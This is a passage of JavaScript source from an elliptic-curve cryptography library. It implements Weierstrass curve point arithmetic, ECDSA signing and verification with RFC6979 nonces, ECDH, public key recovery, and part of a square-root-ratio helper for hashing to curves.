Does not validate if the point is on-curve.\n // Use fromHex instead, or call assertValidity() later.\n static fromAffine(p) {\n const { x, y } = p || {};\n if (!p || !Fp.isValid(x) || !Fp.isValid(y))\n throw new Error('invalid affine point');\n if (p instanceof Point)\n throw new Error('projective point not allowed');\n const is0 = (i) => Fp.eql(i, Fp.ZERO);\n // fromAffine(x:0, y:0) would produce (x:0, y:0, z:1), but we need (x:0, y:1, z:0)\n if (is0(x) && is0(y))\n return Point.ZERO;\n return new Point(x, y, Fp.ONE);\n }\n get x() {\n return this.toAffine().x;\n }\n get y() {\n return this.toAffine().y;\n }\n /**\n * Takes a bunch of Projective Points but executes only one\n * inversion on all of them. Inversion is very slow operation,\n * so this improves performance massively.\n * Optimization: converts a list of projective points to a list of identical points with Z=1.\n */\n static normalizeZ(points) {\n const toInv = Fp.invertBatch(points.map((p) => p.pz));\n return points.map((p, i) => p.toAffine(toInv[i])).map(Point.fromAffine);\n }\n /**\n * Converts hash string or Uint8Array to Point.\n * @param hex short/long ECDSA hex\n */\n static fromHex(hex) {\n const P = Point.fromAffine(fromBytes(ensureBytes('pointHex', hex)));\n P.assertValidity();\n return P;\n }\n // Multiplies generator point by privateKey.\n static fromPrivateKey(privateKey) {\n return Point.BASE.multiply(normPrivateKeyToScalar(privateKey));\n }\n // \"Private method\", don't use it directly\n _setWindowSize(windowSize) {\n this._WINDOW_SIZE = windowSize;\n pointPrecomputes.delete(this);\n }\n // A point on curve is valid if it conforms to equation.\n assertValidity() {\n if (this.is0()) {\n // (0, 1, 0) aka ZERO is invalid in most contexts.\n // In BLS, ZERO can be serialized, so we allow it.\n // (0, 0, 0) is wrong representation of ZERO and is always invalid.\n if (CURVE.allowInfinityPoint && !Fp.is0(this.py))\n return;\n throw new Error('bad point: ZERO');\n }\n // Some 3rd-party test vectors require different wording between here & `fromCompressedHex`\n const { x, y } = this.toAffine();\n // Check if x, y are valid field elements\n if (!Fp.isValid(x) || !Fp.isValid(y))\n throw new Error('bad point: x or y not FE');\n const left = Fp.sqr(y); // y²\n const right = weierstrassEquation(x); // x³ + ax + b\n if (!Fp.eql(left, right))\n throw new Error('bad point: equation left != right');\n if (!this.isTorsionFree())\n throw new Error('bad point: not in prime-order subgroup');\n }\n hasEvenY() {\n const { y } = this.toAffine();\n if (Fp.isOdd)\n return !Fp.isOdd(y);\n throw new Error(\"Field doesn't support isOdd\");\n }\n /**\n * Compare one point to another.\n */\n equals(other) {\n assertPrjPoint(other);\n const { px: X1, py: Y1, pz: Z1 } = this;\n const { px: X2, py: Y2, pz: Z2 } = other;\n const U1 = Fp.eql(Fp.mul(X1, Z2), Fp.mul(X2, Z1));\n const U2 = Fp.eql(Fp.mul(Y1, Z2), Fp.mul(Y2, Z1));\n return U1 && U2;\n }\n /**\n * Flips point to one corresponding to (x, -y) in Affine coordinates.\n */\n negate() {\n return new Point(this.px, Fp.neg(this.py), this.pz);\n }\n // Renes-Costello-Batina exception-free doubling formula.\n // There is 30% faster Jacobian formula, but it is not complete.\n // https://eprint.iacr.org/2015/1060, algorithm 3\n // Cost: 8M + 3S + 3*a + 2*b3 + 15add.\n double() {\n const { a, b } = CURVE;\n const b3 = Fp.mul(b, _3n);\n const { px: X1, py: Y1, pz: Z1 } = this;\n let X3 = Fp.ZERO, Y3 = Fp.ZERO, Z3 = Fp.ZERO; // prettier-ignore\n let t0 = Fp.mul(X1, X1); // step 1\n let t1 = Fp.mul(Y1, Y1);\n let t2 = Fp.mul(Z1, Z1);\n let t3 = Fp.mul(X1, Y1);\n t3 = Fp.add(t3, t3); // step 5\n Z3 = Fp.mul(X1, Z1);\n Z3 = Fp.add(Z3, Z3);\n X3 = Fp.mul(a, Z3);\n Y3 = Fp.mul(b3, t2);\n Y3 = Fp.add(X3, Y3); // step 10\n X3 = Fp.sub(t1, Y3);\n Y3 = Fp.add(t1, Y3);\n Y3 = Fp.mul(X3, Y3);\n X3 = Fp.mul(t3, X3);\n Z3 = Fp.mul(b3, Z3); // step 15\n t2 = Fp.mul(a, t2);\n t3 = Fp.sub(t0, t2);\n t3 = Fp.mul(a, t3);\n t3 = Fp.add(t3, Z3);\n Z3 = Fp.add(t0, t0); // step 20\n t0 = Fp.add(Z3, t0);\n t0 = Fp.add(t0, t2);\n t0 = Fp.mul(t0, t3);\n Y3 = Fp.add(Y3, t0);\n t2 = Fp.mul(Y1, Z1); // step 25\n t2 = Fp.add(t2, t2);\n t0 = Fp.mul(t2, t3);\n X3 = Fp.sub(X3, t0);\n Z3 = Fp.mul(t2, t1);\n Z3 = Fp.add(Z3, Z3); // step 30\n Z3 = Fp.add(Z3, Z3);\n return new Point(X3, Y3, Z3);\n }\n // Renes-Costello-Batina exception-free addition formula.\n // There is 30% faster Jacobian formula, but it is not complete.\n // https://eprint.iacr.org/2015/1060, algorithm 1\n // Cost: 12M + 0S + 3*a + 3*b3 + 23add.\n add(other) {\n assertPrjPoint(other);\n const { px: X1, py: Y1, pz: Z1 } = this;\n const { px: X2, py: Y2, pz: Z2 } = other;\n let X3 = Fp.ZERO, Y3 = Fp.ZERO, Z3 = Fp.ZERO; // prettier-ignore\n const a = CURVE.a;\n const b3 = Fp.mul(CURVE.b, _3n);\n let t0 = Fp.mul(X1, X2); // step 1\n let t1 = Fp.mul(Y1, Y2);\n let t2 = Fp.mul(Z1, Z2);\n let t3 = Fp.add(X1, Y1);\n let t4 = Fp.add(X2, Y2); // step 5\n t3 = Fp.mul(t3, t4);\n t4 = Fp.add(t0, t1);\n t3 = Fp.sub(t3, t4);\n t4 = Fp.add(X1, Z1);\n let t5 = Fp.add(X2, Z2); // step 10\n t4 = Fp.mul(t4, t5);\n t5 = Fp.add(t0, t2);\n t4 = Fp.sub(t4, t5);\n t5 = Fp.add(Y1, Z1);\n X3 = Fp.add(Y2, Z2); // step 15\n t5 = Fp.mul(t5, X3);\n X3 = Fp.add(t1, t2);\n t5 = Fp.sub(t5, X3);\n Z3 = Fp.mul(a, t4);\n X3 = Fp.mul(b3, t2); // step 20\n Z3 = Fp.add(X3, Z3);\n X3 = Fp.sub(t1, Z3);\n Z3 = Fp.add(t1, Z3);\n Y3 = Fp.mul(X3, Z3);\n t1 = Fp.add(t0, t0); // step 25\n t1 = Fp.add(t1, t0);\n t2 = Fp.mul(a, t2);\n t4 = Fp.mul(b3, t4);\n t1 = Fp.add(t1, t2);\n t2 = Fp.sub(t0, t2); // step 30\n t2 = Fp.mul(a, t2);\n t4 = Fp.add(t4, t2);\n t0 = Fp.mul(t1, t4);\n Y3 = Fp.add(Y3, t0);\n t0 = Fp.mul(t5, t4); // step 35\n X3 = Fp.mul(t3, X3);\n X3 = Fp.sub(X3, t0);\n t0 = Fp.mul(t3, t1);\n Z3 = Fp.mul(t5, Z3);\n Z3 = Fp.add(Z3, t0); // step 40\n return new Point(X3, Y3, Z3);\n }\n subtract(other) {\n return this.add(other.negate());\n }\n is0() {\n return this.equals(Point.ZERO);\n }\n wNAF(n) {\n return wnaf.wNAFCached(this, pointPrecomputes, n, (comp) => {\n const toInv = Fp.invertBatch(comp.map((p) => p.pz));\n return comp.map((p, i) => p.toAffine(toInv[i])).map(Point.fromAffine);\n });\n }\n /**\n * Non-constant-time multiplication. Uses double-and-add algorithm.\n * It's faster, but should only be used when you don't care about\n * an exposed private key e.g. sig verification, which works over *public* keys.\n */\n multiplyUnsafe(n) {\n const I = Point.ZERO;\n if (n === _0n)\n return I;\n assertGE(n); // Will throw on 0\n if (n === _1n)\n return this;\n const { endo } = CURVE;\n if (!endo)\n return wnaf.unsafeLadder(this, n);\n // Apply endomorphism\n let { k1neg, k1, k2neg, k2 } = endo.splitScalar(n);\n let k1p = I;\n let k2p = I;\n let d = this;\n while (k1 > _0n || k2 > _0n) {\n if (k1 & _1n)\n k1p = k1p.add(d);\n if (k2 & _1n)\n k2p = k2p.add(d);\n d = d.double();\n k1 >>= _1n;\n k2 >>= _1n;\n }\n if (k1neg)\n k1p = k1p.negate();\n if (k2neg)\n k2p = k2p.negate();\n k2p = new Point(Fp.mul(k2p.px, endo.beta), k2p.py, k2p.pz);\n return k1p.add(k2p);\n }\n /**\n * Constant time multiplication.\n * Uses wNAF method. Windowed method may be 10% faster,\n * but takes 2x longer to generate and consumes 2x memory.\n * Uses precomputes when available.\n * Uses endomorphism for Koblitz curves.\n * @param scalar by which the point would be multiplied\n * @returns New point\n */\n multiply(scalar) {\n assertGE(scalar);\n let n = scalar;\n let point, fake; // Fake point is used to const-time mult\n const { endo } = CURVE;\n if (endo) {\n const { k1neg, k1, k2neg, k2 } = endo.splitScalar(n);\n let { p: k1p, f: f1p } = this.wNAF(k1);\n let { p: k2p, f: f2p } = this.wNAF(k2);\n k1p = wnaf.constTimeNegate(k1neg, k1p);\n k2p = wnaf.constTimeNegate(k2neg, k2p);\n k2p = new Point(Fp.mul(k2p.px, endo.beta), k2p.py, k2p.pz);\n point = k1p.add(k2p);\n fake = f1p.add(f2p);\n }\n else {\n const { p, f } = this.wNAF(n);\n point = p;\n fake = f;\n }\n // Normalize `z` for both points, but return only real one\n return Point.normalizeZ([point, fake])[0];\n }\n /**\n * Efficiently calculate `aP + bQ`. Unsafe, can expose private key, if used incorrectly.\n * Not using Strauss-Shamir trick: precomputation tables are faster.\n * The trick could be useful if both P and Q are not G (not in our case).\n * @returns non-zero affine point\n */\n multiplyAndAddUnsafe(Q, a, b) {\n const G = Point.BASE; // No Strauss-Shamir trick: we have 10% faster G precomputes\n const mul = (P, a // Select faster multiply() method\n ) => (a === _0n || a === _1n || !P.equals(G) ? P.multiplyUnsafe(a) : P.multiply(a));\n const sum = mul(this, a).add(mul(Q, b));\n return sum.is0() ? undefined : sum;\n }\n // Converts Projective point to affine (x, y) coordinates.\n // Can accept precomputed Z^-1 - for example, from invertBatch.\n // (x, y, z) ∋ (x=x/z, y=y/z)\n toAffine(iz) {\n const { px: x, py: y, pz: z } = this;\n const is0 = this.is0();\n // If invZ was 0, we return zero point. However we still want to execute\n // all operations, so we replace invZ with a random number, 1.\n if (iz == null)\n iz = is0 ? Fp.ONE : Fp.inv(z);\n const ax = Fp.mul(x, iz);\n const ay = Fp.mul(y, iz);\n const zz = Fp.mul(z, iz);\n if (is0)\n return { x: Fp.ZERO, y: Fp.ZERO };\n if (!Fp.eql(zz, Fp.ONE))\n throw new Error('invZ was invalid');\n return { x: ax, y: ay };\n }\n isTorsionFree() {\n const { h: cofactor, isTorsionFree } = CURVE;\n if (cofactor === _1n)\n return true; // No subgroups, always torsion-free\n if (isTorsionFree)\n return isTorsionFree(Point, this);\n throw new Error('isTorsionFree() has not been declared for the elliptic curve');\n }\n clearCofactor() {\n const { h: cofactor, clearCofactor } = CURVE;\n if (cofactor === _1n)\n return this; // Fast-path\n if (clearCofactor)\n return clearCofactor(Point, this);\n return this.multiplyUnsafe(CURVE.h);\n }\n toRawBytes(isCompressed = true) {\n this.assertValidity();\n return toBytes(Point, this, isCompressed);\n }\n toHex(isCompressed = true) {\n return ut.bytesToHex(this.toRawBytes(isCompressed));\n }\n }\n Point.BASE = new Point(CURVE.Gx, CURVE.Gy, Fp.ONE);\n Point.ZERO = new Point(Fp.ZERO, Fp.ONE, Fp.ZERO);\n const _bits = CURVE.nBitLength;\n const wnaf = wNAF(Point, CURVE.endo ? Math.ceil(_bits / 2) : _bits);\n // Validate if generator point is on curve\n return {\n CURVE,\n ProjectivePoint: Point,\n normPrivateKeyToScalar,\n weierstrassEquation,\n isWithinCurveOrder,\n };\n}\nfunction validateOpts(curve) {\n const opts = validateBasic(curve);\n ut.validateObject(opts, {\n hash: 'hash',\n hmac: 'function',\n randomBytes: 'function',\n }, {\n bits2int: 'function',\n bits2int_modN: 'function',\n lowS: 'boolean',\n });\n return Object.freeze({ lowS: true, ...opts });\n}\nexport function weierstrass(curveDef) {\n const CURVE = validateOpts(curveDef);\n const { Fp, n: CURVE_ORDER } = CURVE;\n const compressedLen = Fp.BYTES + 1; // e.g. 33 for 32\n const uncompressedLen = 2 * Fp.BYTES + 1; // e.g. 65 for 32\n function isValidFieldElement(num) {\n return _0n < num && num < Fp.ORDER; // 0 is banned since it's not invertible FE\n }\n function modN(a) {\n return mod.mod(a, CURVE_ORDER);\n }\n function invN(a) {\n return mod.invert(a, CURVE_ORDER);\n }\n const { ProjectivePoint: Point, normPrivateKeyToScalar, weierstrassEquation, isWithinCurveOrder, } = weierstrassPoints({\n ...CURVE,\n toBytes(_c, point, isCompressed) {\n const a = point.toAffine();\n const x = Fp.toBytes(a.x);\n const cat = ut.concatBytes;\n if (isCompressed) {\n return cat(Uint8Array.from([point.hasEvenY() ? 0x02 : 0x03]), x);\n }\n else {\n return cat(Uint8Array.from([0x04]), x, Fp.toBytes(a.y));\n }\n },\n fromBytes(bytes) {\n const len = bytes.length;\n const head = bytes[0];\n const tail = bytes.subarray(1);\n // this.assertValidity() is done inside of fromHex\n if (len === compressedLen && (head === 0x02 || head === 0x03)) {\n const x = ut.bytesToNumberBE(tail);\n if (!isValidFieldElement(x))\n throw new Error('Point is not on curve');\n const y2 = weierstrassEquation(x); // y² = x³ + ax + b\n let y = Fp.sqrt(y2); // y = y² ^ (p+1)/4\n const isYOdd = (y & _1n) === _1n;\n // ECDSA\n const isHeadOdd = (head & 1) === 1;\n if (isHeadOdd !== isYOdd)\n y = Fp.neg(y);\n return { x, y };\n }\n else if (len === uncompressedLen && head === 0x04) {\n const x = Fp.fromBytes(tail.subarray(0, Fp.BYTES));\n const y = Fp.fromBytes(tail.subarray(Fp.BYTES, 2 * Fp.BYTES));\n return { x, y };\n }\n else {\n throw new Error(`Point of length ${len} was invalid. Expected ${compressedLen} compressed bytes or ${uncompressedLen} uncompressed bytes`);\n }\n },\n });\n const numToNByteStr = (num) => ut.bytesToHex(ut.numberToBytesBE(num, CURVE.nByteLength));\n function isBiggerThanHalfOrder(number) {\n const HALF = CURVE_ORDER >> _1n;\n return number > HALF;\n }\n function normalizeS(s) {\n return isBiggerThanHalfOrder(s) ? modN(-s) : s;\n }\n // slice bytes num\n const slcNum = (b, from, to) => ut.bytesToNumberBE(b.slice(from, to));\n /**\n * ECDSA signature with its (r, s) properties. Supports DER & compact representations.\n */\n class Signature {\n constructor(r, s, recovery) {\n this.r = r;\n this.s = s;\n this.recovery = recovery;\n this.assertValidity();\n }\n // pair (bytes of r, bytes of s)\n static fromCompact(hex) {\n const l = CURVE.nByteLength;\n hex = ensureBytes('compactSignature', hex, l * 2);\n return new Signature(slcNum(hex, 0, l), slcNum(hex, l, 2 * l));\n }\n // DER encoded ECDSA signature\n // https://bitcoin.stackexchange.com/questions/57644/what-are-the-parts-of-a-bitcoin-transaction-input-script\n static fromDER(hex) {\n const { r, s } = DER.toSig(ensureBytes('DER', hex));\n return new Signature(r, s);\n }\n assertValidity() {\n // can use assertGE here\n if (!isWithinCurveOrder(this.r))\n throw new Error('r must be 0 < r < CURVE.n');\n if (!isWithinCurveOrder(this.s))\n throw new Error('s must be 0 < s < CURVE.n');\n }\n addRecoveryBit(recovery) {\n return new Signature(this.r, this.s, recovery);\n }\n recoverPublicKey(msgHash) {\n const { r, s, recovery: rec } = this;\n const h = bits2int_modN(ensureBytes('msgHash', msgHash)); // Truncate hash\n if (rec == null || ![0, 1, 2, 3].includes(rec))\n throw new Error('recovery id invalid');\n const radj = rec === 2 || rec === 3 ? r + CURVE.n : r;\n if (radj >= Fp.ORDER)\n throw new Error('recovery id 2 or 3 invalid');\n const prefix = (rec & 1) === 0 ? '02' : '03';\n const R = Point.fromHex(prefix + numToNByteStr(radj));\n const ir = invN(radj); // r^-1\n const u1 = modN(-h * ir); // -hr^-1\n const u2 = modN(s * ir); // sr^-1\n const Q = Point.BASE.multiplyAndAddUnsafe(R, u1, u2); // (sr^-1)R-(hr^-1)G = -(hr^-1)G + (sr^-1)\n if (!Q)\n throw new Error('point at infinify'); // unsafe is fine: no priv data leaked\n Q.assertValidity();\n return Q;\n }\n // Signatures should be low-s, to prevent malleability.\n hasHighS() {\n return isBiggerThanHalfOrder(this.s);\n }\n normalizeS() {\n return this.hasHighS() ? new Signature(this.r, modN(-this.s), this.recovery) : this;\n }\n // DER-encoded\n toDERRawBytes() {\n return ut.hexToBytes(this.toDERHex());\n }\n toDERHex() {\n return DER.hexFromSig({ r: this.r, s: this.s });\n }\n // padded bytes of r, then padded bytes of s\n toCompactRawBytes() {\n return ut.hexToBytes(this.toCompactHex());\n }\n toCompactHex() {\n return numToNByteStr(this.r) + numToNByteStr(this.s);\n }\n }\n const utils = {\n isValidPrivateKey(privateKey) {\n try {\n normPrivateKeyToScalar(privateKey);\n return true;\n }\n catch (error) {\n return false;\n }\n },\n normPrivateKeyToScalar: normPrivateKeyToScalar,\n /**\n * Produces cryptographically secure private key from random of size\n * (groupLen + ceil(groupLen / 2)) with modulo bias being negligible.\n */\n randomPrivateKey: () => {\n const length = mod.getMinHashLength(CURVE.n);\n return mod.mapHashToField(CURVE.randomBytes(length), CURVE.n);\n },\n /**\n * Creates precompute table for an arbitrary EC point. Makes point \"cached\".\n * Allows to massively speed-up `point.multiply(scalar)`.\n * @returns cached point\n * @example\n * const fast = utils.precompute(8, ProjectivePoint.fromHex(someonesPubKey));\n * fast.multiply(privKey); // much faster ECDH now\n */\n precompute(windowSize = 8, point = Point.BASE) {\n point._setWindowSize(windowSize);\n point.multiply(BigInt(3)); // 3 is arbitrary, just need any number here\n return point;\n },\n };\n /**\n * Computes public key for a private key. Checks for validity of the private key.\n * @param privateKey private key\n * @param isCompressed whether to return compact (default), or full key\n * @returns Public key, full when isCompressed=false; short when isCompressed=true\n */\n function getPublicKey(privateKey, isCompressed = true) {\n return Point.fromPrivateKey(privateKey).toRawBytes(isCompressed);\n }\n /**\n * Quick and dirty check for item being public key. Does not validate hex, or being on-curve.\n */\n function isProbPub(item) {\n const arr = item instanceof Uint8Array;\n const str = typeof item === 'string';\n const len = (arr || str) && item.length;\n if (arr)\n return len === compressedLen || len === uncompressedLen;\n if (str)\n return len === 2 * compressedLen || len === 2 * uncompressedLen;\n if (item instanceof Point)\n return true;\n return false;\n }\n /**\n * ECDH (Elliptic Curve Diffie Hellman).\n * Computes shared public key from private key and public key.\n * Checks: 1) private key validity 2) shared key is on-curve.\n * Does NOT hash the result.\n * @param privateA private key\n * @param publicB different public key\n * @param isCompressed whether to return compact (default), or full key\n * @returns shared public key\n */\n function getSharedSecret(privateA, publicB, isCompressed = true) {\n if (isProbPub(privateA))\n throw new Error('first arg must be private key');\n if (!isProbPub(publicB))\n throw new Error('second arg must be public key');\n const b = Point.fromHex(publicB); // check for being on-curve\n return b.multiply(normPrivateKeyToScalar(privateA)).toRawBytes(isCompressed);\n }\n // RFC6979: ensure ECDSA msg is X bytes and < N. RFC suggests optional truncating via bits2octets.\n // FIPS 186-4 4.6 suggests the leftmost min(nBitLen, outLen) bits, which matches bits2int.\n // bits2int can produce res>N, we can do mod(res, N) since the bitLen is the same.\n // int2octets can't be used; pads small msgs with 0: unacceptatble for trunc as per RFC vectors\n const bits2int = CURVE.bits2int ||\n function (bytes) {\n // For curves with nBitLength % 8 !== 0: bits2octets(bits2octets(m)) !== bits2octets(m)\n // for some cases, since bytes.length * 8 is not actual bitLength.\n const num = ut.bytesToNumberBE(bytes); // check for == u8 done here\n const delta = bytes.length * 8 - CURVE.nBitLength; // truncate to nBitLength leftmost bits\n return delta > 0 ? num >> BigInt(delta) : num;\n };\n const bits2int_modN = CURVE.bits2int_modN ||\n function (bytes) {\n return modN(bits2int(bytes)); // can't use bytesToNumberBE here\n };\n // NOTE: pads output with zero as per spec\n const ORDER_MASK = ut.bitMask(CURVE.nBitLength);\n /**\n * Converts to bytes. Checks if num in `[0..ORDER_MASK-1]` e.g.: `[0..2^256-1]`.\n */\n function int2octets(num) {\n if (typeof num !== 'bigint')\n throw new Error('bigint expected');\n if (!(_0n <= num && num < ORDER_MASK))\n throw new Error(`bigint expected < 2^${CURVE.nBitLength}`);\n // works with order, can have different size than numToField!\n return ut.numberToBytesBE(num, CURVE.nByteLength);\n }\n // Steps A, D of RFC6979 3.2\n // Creates RFC6979 seed; converts msg/privKey to numbers.\n // Used only in sign, not in verify.\n // NOTE: we cannot assume here that msgHash has same amount of bytes as curve order, this will be wrong at least for P521.\n // Also it can be bigger for P224 + SHA256\n function prepSig(msgHash, privateKey, opts = defaultSigOpts) {\n if (['recovered', 'canonical'].some((k) => k in opts))\n throw new Error('sign() legacy options not supported');\n const { hash, randomBytes } = CURVE;\n let { lowS, prehash, extraEntropy: ent } = opts; // generates low-s sigs by default\n if (lowS == null)\n lowS = true; // RFC6979 3.2: we skip step A, because we already provide hash\n msgHash = ensureBytes('msgHash', msgHash);\n if (prehash)\n msgHash = ensureBytes('prehashed msgHash', hash(msgHash));\n // We can't later call bits2octets, since nested bits2int is broken for curves\n // with nBitLength % 8 !== 0. Because of that, we unwrap it here as int2octets call.\n // const bits2octets = (bits) => int2octets(bits2int_modN(bits))\n const h1int = bits2int_modN(msgHash);\n const d = normPrivateKeyToScalar(privateKey); // validate private key, convert to bigint\n const seedArgs = [int2octets(d), int2octets(h1int)];\n // extraEntropy. RFC6979 3.6: additional k' (optional).\n if (ent != null) {\n // K = HMAC_K(V || 0x00 || int2octets(x) || bits2octets(h1) || k')\n const e = ent === true ? randomBytes(Fp.BYTES) : ent; // generate random bytes OR pass as-is\n seedArgs.push(ensureBytes('extraEntropy', e)); // check for being bytes\n }\n const seed = ut.concatBytes(...seedArgs); // Step D of RFC6979 3.2\n const m = h1int; // NOTE: no need to call bits2int second time here, it is inside truncateHash!\n // Converts signature params into point w r/s, checks result for validity.\n function k2sig(kBytes) {\n // RFC 6979 Section 3.2, step 3: k = bits2int(T)\n const k = bits2int(kBytes); // Cannot use fields methods, since it is group element\n if (!isWithinCurveOrder(k))\n return; // Important: all mod() calls here must be done over N\n const ik = invN(k); // k^-1 mod n\n const q = Point.BASE.multiply(k).toAffine(); // q = Gk\n const r = modN(q.x); // r = q.x mod n\n if (r === _0n)\n return;\n // Can use scalar blinding b^-1(bm + bdr) where b ∈ [1,q−1] according to\n // https://tches.iacr.org/index.php/TCHES/article/view/7337/6509. We've decided against it:\n // a) dependency on CSPRNG b) 15% slowdown c) doesn't really help since bigints are not CT\n const s = modN(ik * modN(m + r * d)); // Not using blinding here\n if (s === _0n)\n return;\n let recovery = (q.x === r ? 0 : 2) | Number(q.y & _1n); // recovery bit (2 or 3, when q.x > n)\n let normS = s;\n if (lowS && isBiggerThanHalfOrder(s)) {\n normS = normalizeS(s); // if lowS was passed, ensure s is always\n recovery ^= 1; // // in the bottom half of N\n }\n return new Signature(r, normS, recovery); // use normS, not s\n }\n return { seed, k2sig };\n }\n const defaultSigOpts = { lowS: CURVE.lowS, prehash: false };\n const defaultVerOpts = { lowS: CURVE.lowS, prehash: false };\n /**\n * Signs message hash with a private key.\n * ```\n * sign(m, d, k) where\n * (x, y) = G × k\n * r = x mod n\n * s = (m + dr)/k mod n\n * ```\n * @param msgHash NOT message. msg needs to be hashed to `msgHash`, or use `prehash`.\n * @param privKey private key\n * @param opts lowS for non-malleable sigs. extraEntropy for mixing randomness into k. prehash will hash first arg.\n * @returns signature with recovery param\n */\n function sign(msgHash, privKey, opts = defaultSigOpts) {\n const { seed, k2sig } = prepSig(msgHash, privKey, opts); // Steps A, D of RFC6979 3.2.\n const C = CURVE;\n const drbg = ut.createHmacDrbg(C.hash.outputLen, C.nByteLength, C.hmac);\n return drbg(seed, k2sig); // Steps B, C, D, E, F, G\n }\n // Enable precomputes. Slows down first publicKey computation by 20ms.\n Point.BASE._setWindowSize(8);\n // utils.precompute(8, ProjectivePoint.BASE)\n /**\n * Verifies a signature against message hash and public key.\n * Rejects lowS signatures by default: to override,\n * specify option `{lowS: false}`. Implements section 4.1.4 from https://www.secg.org/sec1-v2.pdf:\n *\n * ```\n * verify(r, s, h, P) where\n * U1 = hs^-1 mod n\n * U2 = rs^-1 mod n\n * R = U1⋅G - U2⋅P\n * mod(R.x, n) == r\n * ```\n */\n function verify(signature, msgHash, publicKey, opts = defaultVerOpts) {\n const sg = signature;\n msgHash = ensureBytes('msgHash', msgHash);\n publicKey = ensureBytes('publicKey', publicKey);\n if ('strict' in opts)\n throw new Error('options.strict was renamed to lowS');\n const { lowS, prehash } = opts;\n let _sig = undefined;\n let P;\n try {\n if (typeof sg === 'string' || sg instanceof Uint8Array) {\n // Signature can be represented in 2 ways: compact (2*nByteLength) & DER (variable-length).\n // Since DER can also be 2*nByteLength bytes, we check for it first.\n try {\n _sig = Signature.fromDER(sg);\n }\n catch (derError) {\n if (!(derError instanceof DER.Err))\n throw derError;\n _sig = Signature.fromCompact(sg);\n }\n }\n else if (typeof sg === 'object' && typeof sg.r === 'bigint' && typeof sg.s === 'bigint') {\n const { r, s } = sg;\n _sig = new Signature(r, s);\n }\n else {\n throw new Error('PARSE');\n }\n P = Point.fromHex(publicKey);\n }\n catch (error) {\n if (error.message === 'PARSE')\n throw new Error(`signature must be Signature instance, Uint8Array or hex string`);\n return false;\n }\n if (lowS && _sig.hasHighS())\n return false;\n if (prehash)\n msgHash = CURVE.hash(msgHash);\n const { r, s } = _sig;\n const h = bits2int_modN(msgHash); // Cannot use fields methods, since it is group element\n const is = invN(s); // s^-1\n const u1 = modN(h * is); // u1 = hs^-1 mod n\n const u2 = modN(r * is); // u2 = rs^-1 mod n\n const R = Point.BASE.multiplyAndAddUnsafe(P, u1, u2)?.toAffine(); // R = u1⋅G + u2⋅P\n if (!R)\n return false;\n const v = modN(R.x);\n return v === r;\n }\n return {\n CURVE,\n getPublicKey,\n getSharedSecret,\n sign,\n verify,\n ProjectivePoint: Point,\n Signature,\n utils,\n };\n}\n/**\n * Implementation of the Shallue and van de Woestijne method for any weierstrass curve.\n * TODO: check if there is a way to merge this with uvRatio in Edwards; move to modular.\n * b = True and y = sqrt(u / v) if (u / v) is square in F, and\n * b = False and y = sqrt(Z * (u / v)) otherwise.\n * @param Fp\n * @param Z\n * @returns\n */\nexport function SWUFpSqrtRatio(Fp, Z) {\n // Generic implementation\n const q = Fp.ORDER;\n let l = _0n;\n for (let o = q - _1n; o % _2n === _0n; o /= _2n)\n l += _1n;\n const c1 = l; // 1. c1, the largest integer such that 2^c1 divides q - 1.\n // We need 2n ** c1 and 2n ** (c1-1). We can't use **; but we can use <<.\n // 2n ** c1 == 2n << (c1-1)\n const _2n_pow_c1_1 = _2n << (c1 - _1n - _1n);\n const _2n_pow_c1 = _2n_pow_c1_1 * _2n;\n const c2 = (q - _1n) / _2n_pow_c1; // 2. c2 = (q - 1) / (2^c1) # Integer arithmetic\n const c3 = (c2 - _1n) / _2n; // 3. c3 = (c2 - 1) / 2 # Integer arithmetic\n const c4 = _2n_pow_c1 - _1n; // 4. c4 = 2^c1 - 1 # Integer arithmetic\n const c5 = _2n_pow_c1_1; // 5. c5 = 2^(c1 - 1) # Integer arithmetic\n const c6 = Fp.pow(Z, c2); // 6. c6 = Z^c2\n const c7 = Fp.pow(Z, (c2 + _1n) / _2n); // 7. c7 = Z^((c2 + 1) / 2)\n let sqrtRatio = (u, v) => {\n let tv1 = c6; // 1. tv1 = c6\n let tv2 = Fp.pow(v, c4); // 2. tv2 = v^c4\n let tv3 = Fp.sqr(tv2); // 3. tv3 = tv2^2\n tv3 = Fp.mul(tv3, v); // 4. tv3 = tv3 * v\n let tv5 = Fp.mul(u, tv3); // 5. tv5 = u * tv3\n tv5 = Fp.pow(tv5, c3); // 6. tv5 = tv5^c3\n tv5 = Fp.mul(tv5, tv2); // 7. tv5 = tv5 * tv2\n tv2 = Fp.mul(tv5, v); // 8. tv2 = tv5 * v\n tv3 = Fp.mul(tv5, u); // 9. tv3 = tv5 * u\n let tv4 = Fp.mul(tv3, tv2); // 10. tv4 = tv3 * tv2\n tv5 = Fp.pow(tv4, c5); // 11. tv5 = tv4^c5\n let isQR = Fp.eql(tv5, Fp.ONE); // 12. isQR = tv5 == 1\n tv2 = Fp.mul(tv3, c7); // 13. tv2 = tv3 * c7\n tv5 = Fp.mul(tv4, tv1); // 14. tv5 = tv4 * tv1\n tv3 = Fp.cmov(tv2, tv3, isQR); // 15. tv3 = CMOV(tv2, tv3, isQR)\n tv4 = Fp.cmov(tv5, tv4, isQR); // 16. tv4 = CMOV(tv5, tv4, isQR)\n // 17. for i in (c1, c1 - 1, ..., 2):\n for (let i = c1; i > _1n; i--) {\n let tv5 = i - _2n; // 18. tv5 = i - 2\n tv5 = _2n << (tv5 - _1n); // 19. tv5 = 2^tv5\n let tvv5 = Fp.pow(tv4, tv5); // 20. tv5 = tv4^tv5\n const e1 = Fp.eql(tvv5, Fp.ONE); // 21. e1 = tv5 == 1\n tv2 = Fp.mul(tv3, tv1); // 22. tv2 = tv3 * tv1\n tv1 = Fp.mul(tv1, tv1); // 23. tv1 = tv1 * tv1\n tvv5 = Fp.mul(tv4, tv1); // 24. tv5 = tv4 * tv1\n tv3 = Fp.cmov(tv2, tv3, e1); // 25. tv3 = CMOV(tv2, tv3, e1)\n tv4 = Fp.cmov(tvv5, tv4, e1); // 26. tv4 = CMOV(tv5, tv4, e1)\n }\n return { isValid: isQR, value: tv3 };\n };\n if (Fp.ORDER % _4n === _3n) {\n // sqrt_ratio_3mod4(u, v)\n const c1 = (Fp.ORDER - _3n) / _4n; // 1. c1 = (q - 3) / 4 # Integer arithmetic\n const c2 = Fp.sqrt(Fp.neg(Z)); // 2. c2 = sqrt(-Z)\n sqrtRatio = (u, v) => {\n let tv1 = Fp.sqr(v); // 1. tv1 = v^2\n const tv2 = Fp.mul(u, v); // 2. tv2 = u * v\n tv1 = Fp.mul(tv1, tv2); // 3. tv1 = tv1 * tv2\n let y1 = Fp.pow(tv1, c1); // 4. y1 = 